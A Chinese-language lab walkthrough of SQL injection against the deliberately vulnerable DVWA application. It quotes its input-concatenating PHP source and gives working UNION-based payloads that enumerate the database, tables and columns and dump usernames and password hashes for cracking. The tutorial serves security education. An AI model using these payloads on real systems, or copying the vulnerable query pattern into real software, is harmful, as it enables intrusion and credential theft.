1.SQL注入点类型
字符型:‘1’=‘1‘
数字型:1=1
搜索型:like ’%1%‘
2.SQL注入点类型判断
漏洞平台DVWA 漏洞等级:low 模块:SQL Injection
1)判断是否存在注入
找到某个web form,锁定输入框,验证是否存在注入点
2)判断注入点类型
把级别设为low
查看源码
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "
ID: {$id}";
First name: {$first}
Surname: {$last}
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "
ID: {$id}";
First name: {$first}
Surname: {$last}
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
拼接语句
非常容易形成SQL注入
id = 1' and '1'='1
SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';
可以查询
3.SQL注入字段猜解
1)再查询语句中构造order by 子句
2)验证字段数
1和2都没有报错,而输入3时报错,说明字段数为2
4.字段显示顺序
1)猜字段顺序
2)结合union语句
输入1' union SELECT 1,2#
那么语句变成SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1' union SELECT 1,2#';
可以看出,字段顺序为 First name Surname
5.获取当前数据库
1)使用database():显示当前连接的数据库
2)结合union子句
输入1' union SELECT 1,database()#
语句变成SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1' union SELECT 1,database()#';
可以看到数据库的名称
5.获取当前数据库的表名
1.使用数据字典表:information_schema.tables,定义了所有数据库里所有表的信息
2.集合union子句,group_concat():显示多表名称
前面已经通过database()获取了数据库名称:dvwa
输入1' union SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa
语句变成SELECT first_name, last_name FROM users WHERE user_id = '1' union SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa';
可要看到当前数据库有两张表,表名分别为guestbook和users
6.获取字段名
1)查询information_schema.columns中columns_name列来获取当前表的所有字段名称
2)结合union子句
输入1' union SELECT 1,column_name FROM information_schema.columns WHERE table_name='users
语句变成SELECT first_name, last_name FROM users WHERE user_id = '1’ union SELECT 1,column_name FROM information_schema.columns WHERE table_name='users';
这样就得到了user表中所有的字段名
可以使用group_concat()函数把他们显示在一行
输入1' union SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users
7.获取表数据
集合union子句,查询表的所有字段,找到所涉及敏感数据的字段
使用cmd5破解users表里的password字段的数据
输入1' union SELECT user,password FROM users#
得到账号和密码
使用group_concat()函数让信息显示整齐
1' union SELECT 1,group_concat(user,' ',password) FROM users#
在cmd5中破解密码